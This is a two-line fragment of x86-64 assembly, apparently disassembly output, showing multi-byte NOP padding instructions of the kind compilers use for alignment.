nop word cs:[rax + rax]
nop dword [rax]